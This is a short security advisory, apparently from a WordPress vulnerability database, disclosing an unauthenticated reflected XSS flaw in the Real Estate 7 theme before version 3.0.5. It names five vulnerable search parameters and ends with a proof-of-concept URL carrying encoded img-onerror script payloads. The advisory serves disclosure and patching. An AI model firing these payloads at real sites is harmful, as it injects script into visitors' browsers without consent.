Themes Vulnerabilities

Real Estate 7 < 3.0.5 - Unauthenticated Reflected XSS

Description

An Unauthenticated Reflected XSS vulnerability was discovered in the Real Estate 7 theme v3.0.4 for WordPress.

Vulnerable parameters: ct_sqft_from, ct_sqft_to, ct_lotsize_from, ct_lotsize_to, ct_mls.

Edit (WPScanTeam): The issue has been hot-fixed in 3.0.4. So the fixed in has been set to 3.0.5 (the next version to be released)

Proof of Concept

https:/exmple.com/?ct_sqft_from=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%60ct_sqft_from%60%29%3E&ct_lotsize_from=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%60ct_lotsize_from%60%29%3E&ct_lotsize_to=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%60ct_lotsize_to%60%29%3E&ct_mls=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%60ct_mls%60%29%3E&ct_sqft_to=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28%60ct_sqft_to%60%29%3E